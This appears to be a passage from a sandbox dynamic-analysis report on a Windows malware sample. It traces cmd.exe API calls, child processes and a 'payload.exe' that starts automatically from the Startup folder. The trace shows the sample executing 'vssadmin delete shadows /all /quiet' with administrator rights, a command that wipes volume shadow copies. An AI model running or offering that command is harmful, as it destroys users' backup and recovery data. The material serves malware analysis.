lpDistanceToMoveHigh=0x0) returned 0x0 [0071.815] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.815] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.815] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.815] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.815] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.815] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.815] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.815] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.815] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.815] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0071.815] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.815] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.815] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.815] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0071.816] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.816] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.816] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.816] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0071.816] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.816] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.816] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.816] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0071.816] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.816] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.816] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.816] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0071.816] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.816] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.816] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.816] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.816] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.816] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.816] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.816] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0071.816] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.816] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.816] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0071.816] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0071.816] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.816] GetFileType (hFile=0x248) returned 0x3 [0071.816] _get_osfhandle (_FileHandle=0) returned 0x248 [0071.816] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.816] _get_osfhandle (_FileHandle=1) returned 0x254 [0071.816] GetFileType (hFile=0x254) returned 0x3 [0071.817] _get_osfhandle (_FileHandle=1) returned 0x254 [0071.817] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0071.817] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7423d9970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x4eef56f778, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesWritten=0x4eef56f778*=0x24, lpOverlapped=0x0) returned 1 [0071.817] GetProcessHeap () returned 0x23aafcc0000 [0071.817] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x4012) returned 0x23aafcc8fc0 [0071.817] GetProcessHeap () returned 0x23aafcc0000 [0071.817] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc8fc0) returned 1 [0071.817] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0071.817] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0071.817] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0071.818] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0071.818] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0071.818] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0071.818] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0071.818] GetProcessHeap () returned 0x23aafcc0000 [0071.818] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0xb0) returned 0x23aafcc8320 [0071.818] GetProcessHeap () returned 0x23aafcc0000 [0071.818] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x22) returned 0x23aafcc6a80 [0071.818] GetProcessHeap () returned 0x23aafcc0000 [0071.818] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x48) returned 0x23aafcc83e0 [0071.818] GetConsoleOutputCP () returned 0x4e3 [0071.822] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7423dfbb0 | out: lpCPInfo=0x7ff7423dfbb0) returned 1 [0071.822] SetThreadUILanguage (LangId=0x0) returned 0x409 [0071.866] GetConsoleTitleW (in: lpConsoleTitle=0x4eef56f5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0071.872] malloc (_Size=0xffce) returned 0x23aafde0840 [0071.872] ??_V@YAXPEAX@Z () returned 0x23aafde0840 [0071.872] malloc (_Size=0xffce) returned 0x23aafdf0820 [0071.872] ??_V@YAXPEAX@Z () returned 0x23aafdf0820 [0071.872] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0071.872] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0071.872] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0071.872] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0071.872] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0071.872] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0071.872] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0071.872] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0071.872] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0071.872] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0071.872] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0071.872] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0071.872] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0071.872] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0071.872] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0071.872] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0071.872] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0071.872] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0071.872] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0071.872] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0071.872] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0071.872] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0071.872] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0071.872] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0071.872] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0071.872] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0071.872] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0071.872] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0071.872] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0071.872] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0071.872] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0071.872] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0071.872] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0071.872] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0071.872] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0071.873] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0071.873] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0071.873] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0071.873] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0071.873] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0071.873] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0071.873] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0071.873] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0071.873] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0071.873] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0071.873] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0071.873] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0071.873] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0071.873] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0071.873] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0071.873] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0071.873] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0071.873] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0071.873] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0071.873] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0071.873] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0071.873] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0071.873] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0071.873] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0071.873] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0071.873] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0071.873] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0071.873] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0071.873] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0071.873] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0071.873] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0071.873] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0071.873] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0071.873] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0071.873] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0071.873] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0071.873] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0071.873] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0071.873] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0071.873] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0071.873] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0071.873] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0071.873] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0071.873] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0071.873] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0071.874] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0071.874] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0071.874] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0071.874] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0071.874] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0071.874] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0071.874] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0071.874] ??_V@YAXPEAX@Z () returned 0x1 [0071.874] GetProcessHeap () returned 0x23aafcc0000 [0071.874] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0xffde) returned 0x23aafcc8fc0 [0071.875] GetProcessHeap () returned 0x23aafcc0000 [0071.875] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x5a) returned 0x23aafcc6c30 [0071.875] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0071.875] malloc (_Size=0xffce) returned 0x23aafdf0820 [0071.875] ??_V@YAXPEAX@Z () returned 0x23aafdf0820 [0071.875] GetProcessHeap () returned 0x23aafcc0000 [0071.875] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x1ffac) returned 0x23aafcdab20 [0071.877] SetErrorMode (uMode=0x0) returned 0x0 [0071.877] SetErrorMode (uMode=0x1) returned 0x0 [0071.877] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x23aafcdab30, lpFilePart=0x4eef56ee40 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x4eef56ee40*="Desktop") returned 0x17 [0071.877] SetErrorMode (uMode=0x0) returned 0x1 [0071.877] GetProcessHeap () returned 0x23aafcc0000 [0071.877] RtlReAllocateHeap (Heap=0x23aafcc0000, Flags=0x0, Ptr=0x23aafcdab20, Size=0x52) returned 0x23aafcdab20 [0071.877] GetProcessHeap () returned 0x23aafcc0000 [0071.877] RtlSizeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, MemoryPointer=0x23aafcdab20) returned 0x52 [0071.877] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7423dbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0071.877] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.877] GetProcessHeap () returned 0x23aafcc0000 [0071.877] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x1bc) returned 0x23aafcc6ca0 [0071.877] GetProcessHeap () returned 0x23aafcc0000 [0071.877] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x368) returned 0x23aafcd8fb0 [0071.877] GetProcessHeap () returned 0x23aafcc0000 [0071.877] RtlReAllocateHeap (Heap=0x23aafcc0000, Flags=0x0, Ptr=0x23aafcd8fb0, Size=0x1be) returned 0x23aafcd8fb0 [0071.877] GetProcessHeap () returned 0x23aafcc0000 [0071.877] RtlSizeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, MemoryPointer=0x23aafcd8fb0) returned 0x1be [0071.877] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7423dbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.877] GetProcessHeap () returned 0x23aafcc0000 [0071.877] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0xe8) returned 0x23aafcd9180 [0071.877] GetProcessHeap () returned 0x23aafcc0000 [0071.877] RtlReAllocateHeap (Heap=0x23aafcc0000, Flags=0x0, Ptr=0x23aafcd9180, Size=0x7e) returned 0x23aafcd9180 [0071.877] GetProcessHeap () returned 0x23aafcc0000 [0071.877] RtlSizeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, MemoryPointer=0x23aafcd9180) returned 0x7e [0071.877] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.877] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x4eef56ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4eef56ebb0) returned 0xffffffffffffffff [0071.877] GetLastError () returned 0x2 [0071.878] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.878] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x4eef56ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4eef56ebb0) returned 0xffffffffffffffff [0071.879] GetLastError () returned 0x2 [0071.879] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.880] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x4eef56ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4eef56ebb0) returned 0x23aafcd9210 [0071.880] FindClose (in: hFindFile=0x23aafcd9210 | out: hFindFile=0x23aafcd9210) returned 1 [0071.880] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x4eef56ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4eef56ebb0) returned 0xffffffffffffffff [0071.880] GetLastError () returned 0x2 [0071.880] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x4eef56ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4eef56ebb0) returned 0x23aafcd9210 [0071.880] FindClose (in: hFindFile=0x23aafcd9210 | out: hFindFile=0x23aafcd9210) returned 1 [0071.880] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.880] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.880] ??_V@YAXPEAX@Z () returned 0x1 [0071.880] GetConsoleTitleW (in: lpConsoleTitle=0x4eef56f130, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0071.896] GetProcessHeap () returned 0x23aafcc0000 [0071.896] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x21c) returned 0x23aafcc6040 [0071.896] GetConsoleTitleW (in: lpConsoleTitle=0x23aafcc6050, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0071.914] GetProcessHeap () returned 0x23aafcc0000 [0071.914] RtlReAllocateHeap (Heap=0x23aafcc0000, Flags=0x0, Ptr=0x23aafcc6040, Size=0xc2) returned 0x23aafcc6040 [0071.914] GetProcessHeap () returned 0x23aafcc0000 [0071.914] RtlSizeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, MemoryPointer=0x23aafcc6040) returned 0xc2 [0071.914] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") Thread: id = 24 os_tid = 0xd5c Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xd79d000" os_pid = "0xf8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xdc4" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0xf88 Thread: id = 10 os_tid = 0xf7c Thread: id = 11 os_tid = 0xf70 Thread: id = 22 os_tid = 0xc58 Thread: id = 23 os_tid = 0x83c Process: id = "4" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0xa7e1000" os_pid = "0xfa8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xdc4" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0xf58 Thread: id = 26 os_tid = 0xd64 Process: id = "5" image_name = "payload.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe" page_root = "0x26541000" os_pid = "0xdd4" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001217e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0xdd8 [0123.674] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75130000 [0123.674] GetProcAddress (hModule=0x75130000, lpProcName="GetProcAddress") returned 0x751451b0 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="GetModuleHandleW") returned 0x751450d0 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="FindNextFileW") returned 0x7519ee40 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="FindClose") returned 0x7519ed70 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="MoveFileW") returned 0x7517e500 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="GetFileSizeEx") returned 0x7519ef40 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="GetModuleFileNameW") returned 0x75145090 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="GetFileAttributesW") returned 0x7519ef10 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="ExitProcess") returned 0x75143cb0 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="GetCommandLineW") returned 0x75144cc0 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="GetComputerNameW") returned 0x751732c0 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="GetComputerNameA") returned 0x75173780 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="CreateMutexW") returned 0x7519eb70 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="lstrlenW") 